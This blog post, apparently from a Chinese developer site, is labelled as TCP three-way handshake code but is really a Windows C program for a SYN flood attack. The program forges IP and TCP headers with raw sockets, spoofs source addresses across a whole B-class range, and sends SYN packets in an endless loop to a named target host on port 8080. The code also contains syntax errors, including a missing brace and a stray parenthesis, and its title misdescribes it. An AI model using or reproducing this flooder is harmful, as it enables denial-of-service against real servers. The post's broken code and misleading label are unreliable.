TCP/IP三次握手代码

#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>

#define SEQ 0x28376839
#define SYN_DEST_IP "10.10.11.7"//被攻击的IP
#define FAKE_IP "10.10.11.1"       //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF      //错误返回值
typedef struct _iphdr              //定义IP首部
{
    unsigned char h_verlen;            //4位首部长度,4位IP版本号
    unsigned char tos;               //8位服务类型TOS
unsigned short total_len;      //16位总长度(字节)
    unsigned short ident;            //16位标识
    unsigned short frag_and_flags;  //3位标志位
    unsigned char  ttl;              //8位生存时间 TTL
    unsigned char proto;         //8位协议 (TCP, UDP 或其他)
    unsigned short checksum;        //16位IP首部校验和
    unsigned int sourceIP;            //32位源IP地址
    unsigned int destIP;         //32位目的IP地址
}IP_HEADER;

struct                              //定义TCP伪首部
{
unsigned long saddr;     //源地址
unsigned long daddr;     //目的地址
char mbz;
char ptcl;                   //协议类型
unsigned short tcpl;     //TCP长度
}psd_header;

typedef struct _tcphdr             //定义TCP首部
{
    USHORT th_sport;               //16位源端口
    USHORT th_dport;               //16位目的端口
    unsigned int th_seq;         //32位序列号
    unsigned int th_ack;         //32位确认号
    unsigned char th_lenres;        //4位首部长度/6位保留字
    unsigned char th_flag;            //6位标志位
    USHORT th_win;                 //16位窗口大小
    USHORT th_sum;                 //16位校验和
    USHORT th_urp;                 //16位紧急数据偏移量
}TCP_HEADER;

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)

unsigned long cksum=0;
while(size>1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) {
cksum+= *(UCHAR*)buffer;
}
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
//  SynFlood主函数
int main()
{
    int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
    int TimeOut=2000,SendSEQ=0;
    char SendBuf[128]={0};
    char RecvBuf[65535]={0};
    WSADATA wsaData;
    SOCKET SockRaw=(SOCKET)NULL;
    struct sockaddr_in DestAddr;
    IP_HEADER ip_header;
    TCP_HEADER tcp_header;
    //初始化SOCK_RAW
    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
        fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
        ExitProcess(STATUS_FAILED);
    }
    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
        fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
        ExitProcess(STATUS_FAILED);
    }
    flag=TRUE;
    //设置IP_HDRINCL以自己填充IP首部
    ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");
    __try{
       //设置发送超时
        ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
            fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
            __leave;
        }
        memset(&DestAddr,0,sizeof(DestAddr));
        DestAddr.sin_family=AF_INET;
        DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
        FakeIpNet=inet_addr(FAKE_IP);
        FakeIpHost=ntohl(FakeIpNet);
        //填充IP首部
        ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本号,低四位首部长度
        ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位总长度(字节
        ip_header.ident=1;                                                       //16位标识
        ip_header.frag_and_flags=0;                                               //3位标志位
        ip_header.ttl=128;                                                       //8位生存时间TTL
ip_header.proto=IPPROTO_TCP;                                          //8位协议(TCP,UDP…)
        ip_header.checksum=0;                                                    //16位IP首部校验和
        ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32位源IP地址
        ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址
//填充TCP首部
        tcp_header.th_sport=htons(7000);                                      //源端口号
        tcp_header.th_dport=htons(8080);                                      //目的端口号
        tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN序列号
        tcp_header.th_ack=0;                                                 //ACK序列号置为0
        tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                        //TCP长度和保留位
        tcp_header.th_flag=2;                                                    //SYN 标志
        tcp_header.th_win=htons(16384);                                           //窗口大小
        tcp_header.th_urp=0;                                                 //偏移
        tcp_header.th_sum=0;                                                 //校验和
        //填充TCP伪首部(用于计算校验和,并不真正发送)
        psd_header.saddr=ip_header.sourceIP;                                    //源地址
        psd_header.daddr=ip_header.destIP;                                      //目的地址
        psd_header.mbz=0;
        psd_header.ptcl=IPPROTO_TCP;                                            //协议类型
        psd_header.tcpl=htons(sizeof(tcp_header));                              //TCP首部长度
        while(1) {
            //每发送10,240个报文输出一个标示符
            printf(".");
            for(counter=0;counter<10240;counter++){
                if(SendSEQ++==65536) SendSEQ=1;                                  //序列号循环
                //更改IP首部
                ip_header.checksum=0;                                            //16位IP首部校验和
                ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32位源IP地址
                //更改TCP首部
                tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN序列号
                tcp_header.th_sum=0;                                         //校验和
                //更改TCP Pseudo Header
                psd_header.saddr=ip_header.sourceIP;                   
                //计算TCP校验和,计算校验和时需要包括TCP pseudo header         
                memcpy(SendBuf,&psd_header,sizeof(psd_header));   
                memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
                tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
                //计算IP校验
                memcpy(SendBuf,&ip_header,sizeof(ip_header));
                memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
                memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
                datasize=sizeof(ip_header)+sizeof(tcp_header);
                ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
                //填充发送缓冲区
                memcpy(SendBuf,&ip_header,sizeof(ip_header));
                //发送TCP报文
                ErrorCode=sendto(SockRaw,
SendBuf,
datasize,
0,
(struct sockaddr*) &DestAddr,
sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
            }//End of for
        }//End of While
    }//End of try
__finally {
if(SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值